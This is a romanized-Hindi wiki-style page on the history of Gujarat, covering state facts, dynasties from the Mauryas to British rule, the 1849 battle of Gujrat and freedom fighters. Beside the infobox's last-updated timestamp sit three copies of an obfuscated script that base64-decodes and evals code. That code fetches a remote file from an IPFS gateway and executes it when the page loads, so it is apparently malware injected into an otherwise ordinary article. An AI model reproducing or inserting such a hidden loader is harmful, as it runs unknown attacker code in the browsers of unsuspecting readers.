गुजरात का इतिहास

link=praangan:mukhaprishth/bharat ganarajy/gujarat

vistar mean padhean gujarat ka itihas praangan (portal)

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gujarat ka itihas
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rajadhani	gaandhinagar
rajabhasha(ean)	gujarati, hindi, aangrezi, urdoo, panjabi, marathi
sthapana	1 mee, 1960
janasankhya	60,383,628
· ghanatv	258 /varg kimi
kshetraphal	1,96,024 varg kilomitar(desh mean chhathavaan sthan)
bhaugolik nirdeshaank	23.2167°N 72.6833°E
tapaman	30 °C (ausat)
· grishm	25 - 15 °C
· sharad	15 - 35° C
varsha	93.2 mimi
zile	33
sabase b da nagar	ahamadabad
b de nagar	joonagadh, jamanagar, rajakot, bhavanagar, gaandhinagar, vadodara
mukhy aitihasik sthal	somanath, saurashtr, langhanaj, dhaulavira, khanbhat, surakotada, anhilava d, rangapur
mukhy paryatan sthal	dvarikadhish mandir, kachchh ka ran, nageshvar jyotirliang, aksharadham mandir, lothal adi
liang anupat	1000:920 ♂/♀
saksharata	79.31%
· stri	57.8%
· purush	79.7%
uchch nyayalay	gujarat haeekort, ahamadabad
rajyapal	om prakash kohali
mukhyamantri	anandiben patel
vidhanasabha sadasy	182
lokasabha kshetr	26
rajyasabha sadasy	11
rajakiy pashu	girasianh
rajakiy pakshi	hansavar
bahari k diyaan	adhikarik vebasait
adyatan‎	15:21, 9 faravari 2015 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

prachinata evan aitihasikata ki drishti se gujarat bharat ke agrani rajyoan mean ek hai. gujarat ka itihas eesvi poorv lagabhag 2,000 sal purana hai. yah bhi manyata hai ki bhagavan krishna mathura chho dakar saurashtr ke pashchimi tat par ja base the, jo dvarika arthath 'praveshadvar' kahalaya. bad ke varshoan mean maury, gupt, pratihar tatha any anek rajavanshoan ne is pradesh par shasan kiya. chaluky, solanki rajaoan ka shasan kal gujarat ke lie pragati aur samriddhi ka yug tha. mahamood gazanavi ki lootapat ke bad bhi chaluky rajaoan ne yahaan ke logoan ki samriddhi aur bhalaee ka poora dhyan rakha. is gauravapoorn kal ke pashchath gujarat ko musalamanoan, marathoan aur british shasan ke dauran bure dinoan ka samana karana p da. azadi se pahale aj ka gujarat mukhy roop se do bhagoan mean vibhajit tha-

1. ek british kshetr aur
2. doosara desi riyasatean.

• rajy ke poorvi hisse mean mahi aur sabaramati nadi ghatiyoan mean pashan kal ki manav bastiyoan ke praman milate haian. aitihasik kal tisari se doosari sahasrabdi ee.poo. ki h dappa (siandhu ghati) sabhyata se ju da hua hai. is sabhyata ke keandr lothal, rangapur, amari, lakhabaval aur rodzi (adhikaansh kathiyava d prayadvip mean) mean mile haian.
• gujarat ka jnat itihas is kshetr mean maury vansh ke vistar se praranbh hota hai, jo kathiyava d ki giranar paha diyoan ki chattanoan par utkirn samrat ashok (lagabhag 250 ee.poo.) ke abhilekhoan se pramanit hai. maury samrajy ke patan ke bad gujarat shak (sithiyan) ya pashchimi kshatrapo (130-390 ee.) ke shasan ke aantargat a gaya. inamean se mahanatam mahakshatrap rudradaman ne malava, saurashtr, kachchh aur rajasthan mean ekachhatr rajy qayam kiya.
• chauthi aur paanchavian sadi ke dauran vallabhi rajy ke maitrak vansh ke satta mean ane se pahale gujarat gupt samrajy ka ek hissa tha, jinhoanne tin shatabdiyoan se bhi adhik samay tak malava aur gujarat par rajy ki rajadhani vallabhipura (kathiyava d prayadvip ke poorvi tat ke nikat) bauddh vaidik aur jain shiksha ka ek b da keandr thi. maitrak vansh ke bad gurjar-pratihar (kannauj ke samrajyavadi gurjar) satta mean ae, jinhoanne athavian aur nauvian shatabdi ke dauran shasan kiya.
• gupt samrajy ke kuchh hi bad solanki vansh ka shasan ho gaya. isi vansh ke dauran gujarat ki simaoan mean adhikatam vistar hua aur arthik v saanskritik kshetr mean ullekhaniy vikas hua. siddharaja jayasimha aur kumarapal sabase prasiddh solanki raja the. prakhyat lekhak hemachandr isi kal (12vian sadi) mean hue.
• isake bad ke sattasin vaghel vansh ke karnadev vaghel lagabhag 1299 mean dilli ke sultan alauddin khilazi se har ge aur gujarat muslim ke aantargat a gaya. gujarat ke pahale svatantr sultan ahamad shah the, jinhoanne ahamadabad (1411) ki sthapana ki.
• 16vian sadi ke uttarardh mean gujarat par mugaloan ka shasan ho gaya, jo madhy 18vian sadi tak raha. isake bad rajy par marathoan ka shasan ho gaya.
• 1818 mean gujarat british eest iandiya kanpani ke prashasan ke adhin ho gaya. 1857-1858 ke bharatiy gadar ke bad yah rajy british taj ke aantargat 25,900 varg kimi. kshetraphal vale gujarat praant aur anek sthaniy rajyoan mean baant diya gaya. 1947 mean bharat ke svatantr hone par kachchh aur saurashtr rajyoan ko chho dakar samooche gujarat ko banbee rajy mean shamil kar liya gaya. 1956 mean bache do rajyoan ko samahit kar praant ka vistar kiya gaya. 1 mee 1960 ko banbee rajy ko vartaman gujarat aur maharashtr rajyoan mean baant diya gaya.
• aprॅl 1965 ko bharat aur pakistan ke bich kachchh ke ran mean, jo donoan deshoan ke bich lanbe samay se ek vivadit sthal tha, yuddh hua. 1 julaee ko donoan deshoan ke bich yuddh viram lagoo hua aur vivad ko ek aantarrashtriy nyayadhikaran ke samaksh madhyasthata ke lie prastut kiya gaya. is nyayadhikaran ke phaisale mean 1968 mean prakashit, 9/10 hissa bharat ko aur shesh 1/10 hisse ka adhikar pakistan ko diya gaya. gujarat 1985 mean ek bar phir hiansa ki giraft mean a gaya, jo anusoochit jati ko prastavit arakshan ke mudde par bh daka aur apana svaroop badalakar hindoo-muslim danga ban gaya. yah daur paanch mahinoan tak chala.

gujarat ka yuddh (21 faravari 1849)

sher sianh ki sikkh sena tatha british-bharatiy sena, jisaka netritv hyoo gaf, pratham bairan (bad mean pratham vaikauant) ke bich gujarat (jo ab pakistan mean hai) mean l di gee. dvitiy sikkh yuddh (1848-49) ki yah aantim tatha nirnayak jang thi, jisake zariye aangrezoan ne panjab ko jit kar apane rajy mean shamil kar liya tha. aangrez sena ne sikkhoan ki topoan ko khamosh karane ke lie topakhane ka prayog kiya, phir sikkh raksha panktiyoan ko dhvast kiya aur phir pichha kar 50,000 ki fauj ko titar-bitar kar diya. sher sianh dvara 12 march ko hathiyar dalane ke sath yah yuddh samapt hua. panjab ko dalahauzi ke 10 vean arl (bad mean pratham markyooz) jems raimase ne british raj mean shamil kiya. is jang ne gaf ki sainy khyati ko punah sthapit kiya, kyoanki isase pahale samane se hamala bolane aur topakhane ke istemal mean viphal rahane ke lie unaki alochana hoti thi.

bharatiy svatantrata andolan mean yogadan

bharatiy svatantrata andolan mean gujarat ke anek svatantrata senaniyoan ne yogadan diya hai jisamean se pramukh haian- kastooraba gaandhi, mahatma gaandhi, ashvini kumar datt, saradar patel, jivaraj mehata, hansa mehata, ganesh vasudev mavalankar, vitthaladas jhaverabhaee patel, mahadev desaee, manibhaee desaee adi.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

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